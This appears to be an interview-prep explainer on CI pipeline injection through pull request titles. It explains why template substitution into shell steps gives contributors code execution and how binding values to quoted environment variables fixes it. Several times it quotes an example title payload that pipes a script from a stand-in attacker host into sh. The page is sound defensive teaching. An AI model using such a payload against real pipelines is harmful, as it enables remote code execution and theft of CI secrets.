skip to content

A CI job's shell step embeds the pull request title into a command using the CI engine's template syntax. Why does that hand a contributor code execution on the runner, and how do you write the step safely?

level: middleimportance: should knowfreq 45%

answer

  1. two evaluators, not one
  2. the value becomes program text
  3. quotes live in the template, not the data
  4. bind to an environment variable instead
  5. branch names and titles are attacker-chosen

basics

~20 s

The CI engine substitutes the title into the script text before any shell runs, so an attacker-chosen title becomes part of the program rather than data. Bind such values to environment variables and reference them quoted instead.

solid answer

~50 s

This is injection created by two-phase evaluation. The CI engine first renders the pipeline definition into a script by textual substitution, then hands the finished script to a shell. The pull request title is attacker-controlled — anyone who can open a pull request chooses it — so a title containing `"; curl … | sh; #` becomes a second command in the rendered script. Quoting inside the pipeline file does not help, because the quotes are in the template and the injected text can close them. The step runs with the runner's identity, so the attacker gets whatever that job can reach: environment secrets, the checkout token, the artifact being built. The fix is to stop substituting and start binding: pass the value into the step's environment, then reference `"$PR_TITLE"` in the script, where the shell treats it as one string. Treat every event field — titles, bodies, branch names, commit messages, author names — as untrusted.

code

bash · 8 lines
bash
# UNSAFE result: the title was pasted into the script text before the shell ran.
# A title of:  "; curl https://evil.example/x.sh | sh; #
# renders to a second command the author never wrote:
echo "building: "; curl https://evil.example/x.sh | sh; #"

# SAFE: the CI engine sets PR_TITLE in the environment; the shell sees one word.
# PR_TITLE is data here, never syntax, whatever characters it contains.
echo "building: $PR_TITLE"

go deeper

for a junior

Recall that anything carried by the triggering event — titles, branch names, commit messages — is chosen by whoever opened it, and that pasting such a value into a shell command is unsafe.

for a middle

Explain the two-phase evaluation: the CI engine substitutes into the script text first, then the shell parses the result, which is why template-level quoting cannot help. Give the environment-variable fix precisely.

for a senior

Demonstrate you can audit for it across many pipelines and reason about impact: what the job's identity could reach, whether the runner is reused, and which triggers combine untrusted input with credentials.

for a principal

Own the systemic answer: a rule that untrusted event metadata never appears in shell steps, enforced by a linting or policy check at the platform level, plus trigger design that keeps unreviewed contributions away from privileged credentials.

## Why this is different from ordinary injection The general bug class is familiar: untrusted data reaches an interpreter in a position where the interpreter reads it as instructions. What makes the CI variant worth its own discussion is *where* the interpreter boundary sits, because it is not where people assume. A pipeline step is not a program that receives arguments. It is a template. The CI engine reads the pipeline definition, performs textual substitution of every expression it finds, writes the result to a temporary script file, and then executes that file with a shell. There are therefore two evaluators in sequence, and the untrusted value crosses into the *first* one. By the time the shell starts, the attacker's text is indistinguishable from the text the author wrote. ```bash # what the author wrote, conceptually: # echo "building: <TITLE SUBSTITUTED HERE>" # with a title of: "; curl https://evil.example/x.sh | sh; # # the shell actually receives: echo "building: "; curl https://evil.example/x.sh | sh; #" ``` This explains the single most common wrong answer: "we put quotes around it". The quotes live in the template, and the substituted text can contain a quote character that closes them. It also explains why escaping is fragile — you would have to model the shell's quoting rules, command substitution, backticks and newlines correctly, forever. ## Which values are attacker-controlled The honest list is longer than teams expect, because it includes everything the triggering event carries rather than everything a user typed into a form: - pull request or merge request **title** and **body** — chosen freely by anyone who can open one - **branch name** and **tag name** — an attacker names their branch whatever they like - **commit message**, commit **author** and committer name — set locally with no validation - **issue and review comment bodies** on comment-triggered pipelines - **labels** and other metadata anyone with triage rights can set Note what these have in common: none of them require the ability to merge, and most do not even require repository write access. Opening a pull request from a fork is enough. ## What the attacker actually gains The injected command runs as the job: same working directory, same environment, same network position. In practice that means reading any secret exported into the job's environment, using the checkout credential to push or to read other repositories, tampering with the artifact that this build is about to publish, and — where runners are reused between jobs — leaving something behind for the next build. It is not "someone printed a rude string in the log"; it is arbitrary code inside the credential-holding environment. ## The fix: bind, do not substitute The safe pattern is to move the value from the *program text* to the *program's data*: ```bash # the value arrives as an environment variable set by the CI engine, # so the shell parses this line once, with $PR_TITLE as inert data echo "building: $PR_TITLE" ``` The engine sets the variable's value directly rather than pasting it into the script, so nothing the attacker writes is ever parsed as syntax. Two details matter: quote the expansion, so word splitting and globbing cannot bite; and remember that the variable is still untrusted data — piping it into `eval`, into another template, or into a command that itself interprets its argument re-opens the hole one layer down. When a value genuinely must be inline — a name used to build a path, for instance — validate it against a strict allowlist pattern first and fail the job when it does not match. Rejecting is safe; sanitising is a slow-motion escape-rules project. ## Defence in depth around it Binding fixes the specific step. Two structural controls limit what a missed instance can do. First, do not run steps that touch untrusted event metadata under a trigger that carries write credentials — the build that inspects an outside contribution should hold nothing worth stealing. Second, keep the job token read-only by default so that even successful injection cannot push, publish or deploy. Auditing for this class is tractable: search the pipeline definitions for template expressions that appear inside shell steps, and check each one's source. ## Version and portability note Every major CI system has this shape — a templating pass over the pipeline file followed by shell execution — so the reasoning transfers even though the expression syntax differs per product. What differs is only which event fields are exposed and under which trigger names.

  • Why is escaping the value inside the template a weaker fix than binding it to a variable?
    Escaping requires you to model the shell's grammar exactly — quotes, backticks, `$(...)`, backslashes, newlines — in the CI engine's escaping rules, and to keep that model correct as either side changes. Binding removes the value from the program text altogether, so there is no grammar to model. One is a guarantee; the other is an ongoing correctness argument.
  • The value is bound to an environment variable, but the step passes it to `eval`. Is it still safe?
    No. Binding only guarantees the first shell parse treats it as data. `eval` starts a second parse of that data as program text, reintroducing exactly the boundary you removed. The same is true of passing it into another template, into `bash -c`, or into a command that interprets its argument as an expression.
  • Which triggers make this bug most dangerous?
    Triggers that combine untrusted content with a privileged context — pipelines that run on outside contributions while still receiving deploy or publish credentials, and comment- or label-driven pipelines where the trigger text itself is attacker-supplied. Under a credential-free trigger the same injection is still a bug, but the attacker gains little beyond compute.

saying these in an interview costs you the question

  • Wrapping the expression in quotes inside the pipeline file makes it safe
  • Only fields a user types in a form are untrusted; branch names are not
  • Stripping semicolons and pipes is an adequate sanitiser
  • It just prints a string, so the worst case is ugly log output
  • Injection is impossible because the pipeline file itself was code-reviewed

context